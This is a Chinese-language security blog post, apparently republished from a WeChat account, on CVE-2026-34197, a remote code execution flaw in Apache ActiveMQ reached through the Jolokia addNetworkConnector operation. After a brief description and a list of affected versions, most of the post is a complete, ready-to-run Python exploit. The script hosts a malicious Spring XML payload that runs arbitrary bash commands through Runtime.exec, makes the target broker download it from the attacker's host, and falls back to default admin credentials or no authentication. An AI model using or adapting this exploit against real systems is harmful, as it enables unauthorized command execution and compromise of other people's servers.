首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2026-34197|Apache ActiveMQ远程代码执行漏洞(POC)

CVE-2026-34197|Apache ActiveMQ远程代码执行漏洞(POC)

作者头像
信安百科
发布2026-04-20 13:08:38
发布2026-04-20 13:08:38
910
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

ActiveMQ是Apache出品的一款开源消息中间件,完全支持JMS 1.1和J2EE 1.4规范,能为分布式系统提供高效、稳定、安全的企业级消息通信服务。

它支持Java、C、Python等多语言客户端,兼容OpenWire、Stomp、AMQP等多种协议,还具备消息持久化、优先级设置、延迟接收、主从管理等丰富特性,可轻松嵌入Spring应用,适配TomEE、JBoss等多种J2EE服务器。

其核心包含Broker(消息代理服务器)、Producer(消息生产者)、Consumer(消息消费者)等组件,支持点对点(Queue)和发布订阅(Topic)两种消息传递模型,前者确保每条消息仅被一个消费者接收,后者可实现消息向所有订阅者广播,能有效帮助系统实现解耦、异步通信与流量削峰。

0x01 漏洞描述

该漏洞源于系统通过/api/jolokia/暴露Jolokia JMX-HTTP接口,并且默认访问策略允许对org.apache.activemq:* MBeans执行exec操作。由于对输入的discovery URI参数缺乏有效校验,攻击者可构造恶意brokerConfig参数,触发ResourceXmlApplicationContext加载远程Spring XML配置。

在Spring初始化阶段会提前实例化Bean,攻击者可借助Runtime.exec()等方法实现任意代码执行。

0x02 CVE编号

CVE-2026-34197

0x03 影响版本

代码语言:javascript
复制
Apache ActiveMQ Broker < 5.19.4
6.0.0 <= Apache ActiveMQ Broker < 6.2.3
Apache ActiveMQ < 5.19.4
6.0.0 <= Apache ActiveMQ < 6.2.3

0x04 漏洞详情

POC:

https://github.com/DEVSECURITYSPRO/CVE-2026-34197

代码语言:javascript
复制
#!/usr/bin/env python3
"""
CVE-2026-34197 — Apache ActiveMQ RCE vía Jolokia API

Ejecución remota de código en Apache ActiveMQ Classic a través de la
operación addNetworkConnector expuesta por Jolokia. El exploit fuerza
al broker a descargar y ejecutar un archivo de configuración Spring XML
malicioso mediante el transporte VM y el esquema xbean:.

Versiones afectadas:
  - ActiveMQ Classic < 5.19.4
  - ActiveMQ Classic 6.0.0 — 6.2.2

En versiones 6.0.0 — 6.1.1 no se requiere autenticación (CVE-2024-32114).

Uso:
  python exploit.py -t http://OBJETIVO:8161 -l MI_IP -c "id"

Autor: KONDOR DEV SECURITY
PoC con fines educativos y de investigación en seguridad.
"""

import argparse
import http.server
import os
import sys
import threading
import time
import socket

try:
    import requests
except ImportError:
    print("[!] Módulo 'requests' no encontrado. Instalar con: pip install requests")
    sys.exit(1)


# ─── Colores para la terminal ───────────────────────────────────────────────

class Color:
    RED = "\033[91m"
    GREEN = "\033[92m"
    YELLOW = "\033[93m"
    BLUE = "\033[94m"
    CYAN = "\033[96m"
    RESET = "\033[0m"


BANNER = f"""{Color.CYAN}
  ╔═══════════════════════════════════════════════════════════╗
  ║  CVE-2026-34197  —  Apache ActiveMQ RCE via Jolokia API  ║
  ║  ActiveMQ Classic < 5.19.4 / 6.0.0 — 6.2.2              ║
  ║  By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY        ║
  ╚═══════════════════════════════════════════════════════════╝
{Color.RESET}"""


# ─── Generación del payload XML ─────────────────────────────────────────────

def generar_payload_xml(comando: str) -> str:
    """Genera el payload Spring XML que ejecuta el comando dado."""
    payload_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "payloads")
    template_path = os.path.join(payload_dir, "template.xml")

    if os.path.exists(template_path):
        with open(template_path, "r", encoding="utf-8") as f:
            template = f.read()
        return template.replace("{{COMMAND}}", comando)

    # Fallback: generar inline si no existe la plantilla
    return f"""<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="exec" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
    <property name="targetObject">
      <bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
        <property name="targetClass" value="java.lang.Runtime"/>
        <property name="targetMethod" value="getRuntime"/>
      </bean>
    </property>
    <property name="targetMethod" value="exec"/>
    <property name="arguments">
      <list>
        <array value-type="java.lang.String">
          <value>/bin/bash</value>
          <value>-c</value>
          <value>{comando}</value>
        </array>
      </list>
    </property>
  </bean>
</beans>"""


# ─── Servidor HTTP para servir el payload ────────────────────────────────────

class PayloadHandler(http.server.BaseHTTPRequestHandler):
    """Servidor HTTP que sirve el payload XML y registra las peticiones."""

    payload_xml = ""
    peticion_recibida = threading.Event()

    def do_GET(self, *args, **kwargs):
        self.send_response(200)
        self.send_header("Content-Type", "application/xml")
        self.end_headers()
        self.wfile.write(PayloadHandler.payload_xml.encode("utf-8"))
        print(f"{Color.GREEN}[+] Payload servido a {self.client_address[0]}{Color.RESET}")
        PayloadHandler.peticion_recibida.set()

    def log_message(self, format, *args):
        # Silenciar logs por defecto del servidor HTTP
        pass


def iniciar_servidor_http(lhost: str, lport: int, payload_xml: str) -> http.server.HTTPServer:
    """Inicia el servidor HTTP en un hilo separado para servir el payload."""
    PayloadHandler.payload_xml = payload_xml
    PayloadHandler.peticion_recibida.clear()

    servidor = http.server.HTTPServer((lhost, lport), PayloadHandler)
    hilo = threading.Thread(target=servidor.serve_forever, daemon=True)
    hilo.start()
    return servidor


# ─── Verificación de conectividad ────────────────────────────────────────────

def verificar_objetivo(target: str, auth: tuple | None) -> bool:
    """Verifica que el objetivo sea accesible y que Jolokia responda."""
    url = f"{target.rstrip('/')}/api/jolokia/"
    try:
        kwargs = {"timeout": 10}
        if auth:
            kwargs["auth"] = auth
        resp = requests.get(url, **kwargs)
        if resp.status_code == 200:
            return True
        elif resp.status_code == 401:
            print(f"{Color.RED}[!] Autenticación fallida (401). Verificar credenciales.{Color.RESET}")
            return False
        elif resp.status_code == 403:
            print(f"{Color.RED}[!] Acceso prohibido (403) a Jolokia.{Color.RESET}")
            return False
        else:
            print(f"{Color.YELLOW}[*] Respuesta inesperada: HTTP {resp.status_code}{Color.RESET}")
            return True  # Intentar de todas formas
    except requests.ConnectionError:
        print(f"{Color.RED}[!] No se pudo conectar a {target}{Color.RESET}")
        return False
    except requests.Timeout:
        print(f"{Color.RED}[!] Timeout al conectar a {target}{Color.RESET}")
        return False


def obtener_broker_name(target: str, auth: tuple | None) -> str | None:
    """Intenta obtener el nombre del broker vía Jolokia."""
    url = f"{target.rstrip('/')}/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*"
    try:
        kwargs = {"timeout": 10}
        if auth:
            kwargs["auth"] = auth
        resp = requests.get(url, **kwargs)
        if resp.status_code == 200:
            data = resp.json()
            if "value" in data and data["value"]:
                # Extraer el nombre del broker del primer resultado
                for key in data["value"]:
                    if "brokerName=" in key:
                        return key.split("brokerName=")[1].split(",")[0]
    except Exception:
        pass
    return None


# ─── Exploit principal ───────────────────────────────────────────────────────

def ejecutar_exploit(target: str, lhost: str, lport: int, comando: str,
                     auth: tuple | None, broker_name: str) -> bool:
    """
    Ejecuta el exploit CVE-2026-34197.

    1. Genera el payload Spring XML con el comando.
    2. Levanta un servidor HTTP para servirlo.
    3. Envía la petición a Jolokia para invocar addNetworkConnector
       con un URI vm:// que apunta al payload remoto.
    """
    print(f"{Color.BLUE}[*] Objetivo:  {target}{Color.RESET}")
    print(f"{Color.BLUE}[*] Comando:   {comando}{Color.RESET}")
    print(f"{Color.BLUE}[*] Payload:   http://{lhost}:{lport}/payload.xml{Color.RESET}")
    print(f"{Color.BLUE}[*] Broker:    {broker_name}{Color.RESET}")
    print(f"{Color.BLUE}[*] Auth:      {'Deshabilitada' if auth is None else auth[0]}{Color.RESET}")
    print()

    # Paso 1: Generar payload
    print(f"{Color.YELLOW}[*] Generando payload XML...{Color.RESET}")
    payload_xml = generar_payload_xml(comando)

    # Paso 2: Iniciar servidor HTTP
    print(f"{Color.YELLOW}[*] Iniciando servidor HTTP en {lhost}:{lport}...{Color.RESET}")
    try:
        servidor = iniciar_servidor_http("0.0.0.0", lport, payload_xml)
    except OSError as e:
        print(f"{Color.RED}[!] No se pudo iniciar el servidor HTTP: {e}{Color.RESET}")
        return False
    print(f"{Color.GREEN}[+] Servidor HTTP escuchando en 0.0.0.0:{lport}{Color.RESET}")

    # Paso 3: Enviar petición a Jolokia
    jolokia_url = f"{target.rstrip('/')}/api/jolokia/"
    rce_broker = "rce"  # Nombre del broker ficticio que se creará
    discovery_uri = (
        f"static:(vm://{rce_broker}?brokerConfig="
        f"xbean:http://{lhost}:{lport}/payload.xml)"
    )

    payload_json = {
        "type": "exec",
        "mbean": f"org.apache.activemq:type=Broker,brokerName={broker_name}",
        "operation": "addNetworkConnector",
        "arguments": [discovery_uri]
    }

    headers = {
        "Content-Type": "application/json",
        "Origin": target.rstrip("/")
    }

    print(f"{Color.YELLOW}[*] Enviando petición a Jolokia...{Color.RESET}")

    try:
        kwargs = {
            "json": payload_json,
            "headers": headers,
            "timeout": 30
        }
        if auth:
            kwargs["auth"] = auth

        resp = requests.post(jolokia_url, **kwargs)

        if resp.status_code == 200:
            data = resp.json()
            if data.get("status") == 200:
                print(f"{Color.GREEN}[+] Jolokia aceptó la operación (status=200){Color.RESET}")
            else:
                error = data.get("error", "desconocido")
                print(f"{Color.YELLOW}[*] Jolokia respondió con status={data.get('status')}: {error}{Color.RESET}")
                # Esto puede ser normal — el comando ya se ejecutó durante la carga del XML
        elif resp.status_code == 401:
            print(f"{Color.RED}[!] Autenticación fallida (401){Color.RESET}")
            servidor.shutdown()
            return False
        elif resp.status_code == 403:
            print(f"{Color.RED}[!] Acceso prohibido (403){Color.RESET}")
            servidor.shutdown()
            return False
        else:
            print(f"{Color.YELLOW}[*] Respuesta HTTP: {resp.status_code}{Color.RESET}")

    except requests.ConnectionError:
        print(f"{Color.RED}[!] Error de conexión al enviar el exploit{Color.RESET}")
        servidor.shutdown()
        return False
    except requests.Timeout:
        print(f"{Color.YELLOW}[*] Timeout en la petición (puede ser normal si el comando tarda){Color.RESET}")

    # Paso 4: Esperar a que el objetivo descargue el payload
    print(f"{Color.YELLOW}[*] Esperando que el objetivo descargue el payload...{Color.RESET}")
    if PayloadHandler.peticion_recibida.wait(timeout=15):
        print(f"{Color.GREEN}[+] El objetivo descargó el payload. Comando ejecutado.{Color.RESET}")
        exito = True
    else:
        print(f"{Color.YELLOW}[*] No se recibió petición del payload en 15s.{Color.RESET}")
        print(f"{Color.YELLOW}    Esto puede indicar que el objetivo no es vulnerable,{Color.RESET}")
        print(f"{Color.YELLOW}    que no puede alcanzar {lhost}:{lport}, o que el broker{Color.RESET}")
        print(f"{Color.YELLOW}    name '{broker_name}' es incorrecto.{Color.RESET}")
        exito = False

    # Limpiar
    servidor.shutdown()
    return exito


# ─── CLI ─────────────────────────────────────────────────────────────────────

def parse_args():
    parser = argparse.ArgumentParser(
        description="CVE-2026-34197 — Apache ActiveMQ RCE vía Jolokia API",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Ejemplos:
  %(prog)s -t http://10.0.0.1:8161 -l 10.0.0.2 -c "id"
  %(prog)s -t http://10.0.0.1:8161 -l 10.0.0.2 -c "whoami" -u admin -p secret
  %(prog)s -t http://10.0.0.1:8161 -l 10.0.0.2 -c "id" --no-auth
        """
    )
    parser.add_argument("-t", "--target", required=True,
                        help="URL base del objetivo (ej: http://10.0.0.1:8161)")
    parser.add_argument("-l", "--lhost", required=True,
                        help="IP del atacante para servir el payload")
    parser.add_argument("-lp", "--lport", type=int, default=8888,
                        help="Puerto del servidor HTTP local (default: 8888)")
    parser.add_argument("-c", "--command", required=True,
                        help="Comando a ejecutar en el objetivo")
    parser.add_argument("-u", "--user", default="admin",
                        help="Usuario de Jolokia (default: admin)")
    parser.add_argument("-p", "--password", default="admin",
                        help="Contraseña de Jolokia (default: admin)")
    parser.add_argument("--no-auth", action="store_true",
                        help="No enviar credenciales (CVE-2024-32114, versiones 6.0.0-6.1.1)")
    parser.add_argument("--broker-name", default=None,
                        help="Nombre del broker (default: autodetectar o 'localhost')")
    return parser.parse_args()


def main():
    print(BANNER)
    args = parse_args()

    auth = None if args.no_auth else (args.user, args.password)

    # Verificar conectividad
    print(f"{Color.YELLOW}[*] Verificando conectividad con el objetivo...{Color.RESET}")
    if not verificar_objetivo(args.target, auth):
        sys.exit(1)
    print(f"{Color.GREEN}[+] Objetivo accesible{Color.RESET}")

    # Determinar nombre del broker
    broker_name = args.broker_name
    if not broker_name:
        print(f"{Color.YELLOW}[*] Intentando detectar nombre del broker...{Color.RESET}")
        broker_name = obtener_broker_name(args.target, auth)
        if broker_name:
            print(f"{Color.GREEN}[+] Broker detectado: {broker_name}{Color.RESET}")
        else:
            broker_name = "localhost"
            print(f"{Color.YELLOW}[*] No se pudo detectar. Usando por defecto: {broker_name}{Color.RESET}")

    print()

    # Ejecutar exploit
    exito = ejecutar_exploit(
        target=args.target,
        lhost=args.lhost,
        lport=args.lport,
        comando=args.command,
        auth=auth,
        broker_name=broker_name
    )

    print()
    if exito:
        print(f"{Color.GREEN}[+] Exploit completado con éxito{Color.RESET}")
    else:
        print(f"{Color.RED}[-] Exploit no confirmado — revisar parámetros{Color.RESET}")

    sys.exit(0 if exito else 1)


if __name__ == "__main__":
    main()

0x05 参考链接

https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-04-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档